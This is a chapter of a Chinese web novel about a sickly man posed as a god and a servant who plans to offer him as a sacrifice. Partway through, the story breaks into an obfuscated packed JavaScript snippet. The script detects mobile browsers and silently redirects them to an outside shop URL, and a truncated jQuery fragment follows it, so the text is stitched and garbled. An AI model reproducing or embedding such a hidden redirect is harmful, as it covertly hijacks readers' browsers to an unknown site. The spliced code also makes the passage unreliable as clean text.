容川站在人群之外,看着眼前真正的神迹,忽然觉得,那阵从温云舟掌心涌出的风,裹着的水汽,侵入他的身体,疯狂啃咬骨头上的旧伤,带来一阵一阵的酥麻。
跟十五年前,被强行注射药剂的感觉很类似,那个时候,也是一个这样没有云的日子。
那一年,他还不叫容川。
那一年,他只是一串编号——RC101。
澄明院净化室外,一个等待被“处理”的、失败的实验体。
是温云舟救了他。
那个十岁的少年,穿着温家旧式的白衬衫,长发被扎成低马尾,白净的小脸满是自信,悠然地站在净化室紧闭的门前,对押送他的人,只说了一句话。
容川已经记不清那句话的内容了。他只记得,少年说完之后,那些面无表情的人便利落地退了下去,一个不剩。
然后,少年转过身,朝他伸出了手。
“你没有名字吧?”
“从今往后,你叫容川。”
容川,容纳海川之人。
这个名字,既是他的新身份,也藏着少年对他的期许。
愿这偌大的世界,终有一处,能容纳下他。
可那时的温云舟并不知道,为人取名,是人与人之间最简单、也最牢固的缘分。往后每一次被人呼唤这个名字,容川都会想起,是谁给了他这个名字,是谁重塑他糜烂的一生。
此后六年,他寸步不离地跟着温云舟,做他的助手,做他的影子,做他唯一的一条忠犬。
他见过少年人前温和有礼的模样,也见过少年深夜伏案、咳着血,在纸上写下那些旁人终其一生也看不懂的公式。
他知道,他的主人,是这个世界上最聪明的人,也是最孤独的人。
十五年前,世界崩坏在即,疯狂乐园即将异变为S级领域。主人温云舟,选择独自前往解决。
他什么都没有告诉容川。
容川本以为,自己可以一辈子陪在主人身边。主人想告诉他时,自然会开口。可他没想到,自那一天之后,主人便再也没能对他说上话。
他永远失去了他的主人,那个为他取名的人。
失去主人后的容川,没有人告诉他,为什么要把一颗颗囚禁着小领域的胶囊埋入城郊?为什么要建云季城?为什么要把自己的身体,让给一个异世界的灵魂?
更遑论告诉他,他该做什么。
是主人的温柔吗?还是主人的……残忍?
于是,容川把云季城,经营成了天底下最大的情报网。他手眼通天,就连澄明院最近的一举一动,也逃不过他的耳目,也包括他们偷走主人的身体、与陆家继承人联姻的事。
他们想用陆辞那异于常人的信息素,诱出异世界的灵魂。
容川得知此事时,第一反应是愤怒,偷走主人的身体,偷看主人留下的笔记,只为了强行让那异世的灵魂降临。
第二反应,却是怜悯。
他可怜那个即将降临的灵魂。从睁眼的那一刻起,那灵魂就会活在重重算计里,主人对他的期望,澄明院对他的算计,还有天空对他的牟利图谋。
于是,容川扮作忠仆,靠近了这位未来的救世主。当他对上救世主那双怯生生的、满是信任的眼睛时,心脏猛地一颤。
当初的自己,是不是也曾用这样一双眼睛,仰望着那个他愿意追随一辈子的主人?
云,还悬在天上。
温云舟没有去看那些伏地哭嚎的信徒,也没有去看容川。他的视线越过跪满一地的石板长街,落在街尽头那一截褪了色的红绸上。
孤零零的褪色绸缎,垂在灰白的屋檐下,像一句没有说完的话。
很应景,他想。
没有人愿意了解褪色的红绸,因为那已经失去了喜庆的作用,也没有人愿意了解一个异世的灵魂,因为异世灵魂的使命只有拯救世界。
如此悲哀。
强撑的那口气,终于在容川脸上裂开第一道缝的瞬间,泄了个干干净净。喉咙里翻涌的腥甜再也压不住,温云舟身子一晃,一线暗红顺着唇角缓缓溢了出来。
“温大人!”
容川的声音几乎在同一瞬响起。温润,急切,担忧得恰到好处,仿佛方才眼底那抹浓烈的恐惧,只是温云舟看走了眼。他抢上两步,伸出手,姿态活脱脱一个忠心护主的仆从。
温云舟却在众目睽睽之下,偏了偏头,避开了他的手。
跪了一地的信徒屏住了呼吸。
“容川。”温云舟的声音很轻,轻得只有他们两人能听见,却稳得惊人,“我还没虚弱到,需要被人扶着走路的地步。”
他说完,自己站直了。
那具病弱到随时会倒下的身子,硬是在几百双眼睛前,一寸一寸,重新立了起来。苍白的手指,缓缓抹去唇角的血迹,血随着唇瓣的干裂纹路,为温云舟本来苍白漂亮的脸蛋,平添了几分妖异。
温云舟这张脸,本就美得雌雄莫辨,此刻被这一抹暗红一衬,愈发惊心动魄。
苍白的皮肤,猩红的唇,还有那双因强忍疼痛而微微泛红的眼。他像一尊被人从神龛里请下来、又生生剜了一刀的染血神像。
童梵跪在人群最前排,仰着头,一瞬不瞬地望着这个病弱的神明。
他今年十九,是云季城土生土长的孩子。他听着“神会降临”的教义长大,听老人们说,神是慈悲的、无所不能的,会把云和四季带回人间。
可从来没有人告诉他,神,原来是这样的。
这样瘦,这样弱,仿佛风一吹就会倒;这样美,美得他心脏发疼,美得他恨不得把自己的命都交出去,只求能换神少流一滴血。
童梵甚至分不清,此刻胸膛里那股滚烫的、几乎要把他烧穿的东西,究竟是敬畏,还是别的什么。
他只知道,他愿意为这个人去死。
而这种近乎狂热的痴迷,正像一场瘟疫,在跪了一地的信徒之间,无声地蔓延。
温云舟对信徒们的视线微微感到不适,但也只能他转身直面,背对着那片被唤来的云,看似朝向子民,实则视线紧紧落在容川脸上。
他轻声开口:“都起来吧。”
无人敢动。
容川就站在温云舟视线中央的位置,脸上,是一副恰到好处的恭顺。
可只有温云舟看得见,那双眼睛里翻涌着怎样的风暴,被当众夺了主导权的惊怒,被拂了面子的难堪,以及一种连容川自己都未曾察觉的……忌惮。
这个“怪物”,竟真的学会了,如何用神明的身份,去收拢人心。
容川缓缓垂下眼,掩去所有情绪。再抬眼时,已是忠心耿耿、却又忧心忡忡的模样。
“都听神的。”他温声道,像是替温云舟,把这冷场圆了下去。
只是袖中的那只手,指节,早已泛白。
“神要回神殿休息了。”温云舟顿了顿,补上一句,“云,会留着。等你们看够了,我再收。”
这句话落下,人群里才爆发出一阵低低的、压抑的抽泣声。有人开始磕头,额头砸在石板上,咚咚作响。
温云舟没再回头。
他一步步走回神殿,容川落后他半步,一路无话。可温云舟能感觉到,那道落在自己背上的目光,像一条被踩到尾巴的蛇,阴冷,克制,蓄势待发。
——
回到神殿,门一合上,温云舟便再也撑不住,整个人软倒下去。
他半跪在冰冷的地砖上,捂着嘴剧烈地咳嗽,指缝间渗出暗红的血。后脑勺那怪异的抽疼又涌了上来,一下一下,像有人拿着锤子在敲他的颅骨。而那敲击声,也时不时地传进耳中。
当、当、当……
像是谁,正用指甲,一下一下地,敲着铁栏杆。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17971836|214676||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
温云舟想,强行催动两颗遗珠,让全城看见“云”的代价,比想象中更重。
温云舟闭着眼,脑子里却异常清醒。
他知道,自己刚刚险胜了一场。可他也知道,这场胜利,是把双刃剑。
他借“神”的名头,夺了民心,也断了容川的退路。容川绝不会容许一个能操控遗珠、又不受控制的“神”继续存在下去。
容川一定会把计划提前,提前到……温云舟还没准备好的时候。
“温少爷?”门外,响起温舒然怯怯的声音,“容川大人让我来……给您看看伤。”
温云舟擦去嘴角的血,靠着床沿坐稳,才应了一声:“进来。”
门开了条缝,温舒然闪身进来,又飞快地合上门,动作快得像在躲什么。他拎着药箱的手抖得厉害,走到温云舟面前时,连呼吸都是乱的。
“我……我给您换药。”温舒然不敢看他。
“先别急着换。”温云舟轻声道,声音因为虚弱而沙哑,却带着不容拒绝的意味,“温舒然,你刚才说,神降日快到了。”
温舒然的手猛地一顿,药箱差点脱手。
“我、我什么都没说……”他几乎要哭了。
“我听见了。”温云舟盯着他,“所以,神降日,到底是什么?”
沉默。
神殿外,有风从门缝里钻进来,吹得供桌上那三炷香明明灭灭。
温舒然终于抬起头,那双总是低垂的眼睛里,此刻盛满了恐惧,也盛满了温云舟看不懂的东西。
“神降日……”他的声音抖得像风里的落叶,“是云季城最盛大的祭典。城里的每一个人,都相信……在神降日,神会真正降临,带来云,带来四季。”
“然后呢?”温云舟问。
“然后……”温舒然的嘴唇翕动了几下,几乎是从牙缝里挤出来的,“然后,神的肉身,会被献祭。”
温云舟的瞳孔,骤然收缩。
“献祭……。”温云舟重复着这两个字,声音里听不出喜怒。“原来如此……”
原来容川要的,从来就不是现在这个“温云舟”。
他把自己供上神坛,藏起来、养起来、养到能下地行走,不是为了让他当救世主,而是为了把他养成一具……合格的祭品。
温云舟忽然觉得有些好笑。
真是讽刺。他以为逃出陆家,逃出澄明院的净化,就能喘上一口气。到头来,只是从一个笼子,钻进了另一个笼子。而这个笼子里的人,还给他披上了“神”的外衣,好让他心甘情愿地,走向那场献祭。
“什么时候?”温云舟问。
“三天后。”温舒然低声道,声音轻得几乎听不见,“月晦之日,就是神降日。”
“我明白了。”温云舟缓缓点头,反而平静了下来。
三天。
他还有三天。
“温舒然。”温云舟微笑,试图鼓励对方,但眉眼间满是虚弱,“你为什么要告诉我这些?你不怕容川吗?”
温舒然浑身一颤,下意识地朝门口看了一眼,像是怕那个温柔和煦的男人下一秒就会从门后走出来。
“怕。”他诚实地说,“可我觉得……您不该被蒙在鼓里。”
他顿了顿,声音里带上了一丝连自己都没察觉的哭腔:“云舟大人,您是好人。您和容川大人不一样。您……会跑的,对不对?”
“云舟大人你要跑啊…一定要跑啊!”
温云舟没有回答。
他只是抬起手,轻轻按了按自己颈后微微发烫的腺体。那里,苦涩的信息素正忠实地反映着他此刻的心绪。
温云舟此刻无比清醒,无比明白,自己接下来要做什么,还有一丝连他自己都说不清的狠,他不能坐以待毙,让危险先一步来临再应对。
“跑?”温云舟低低地笑了一声,“为什么要跑?”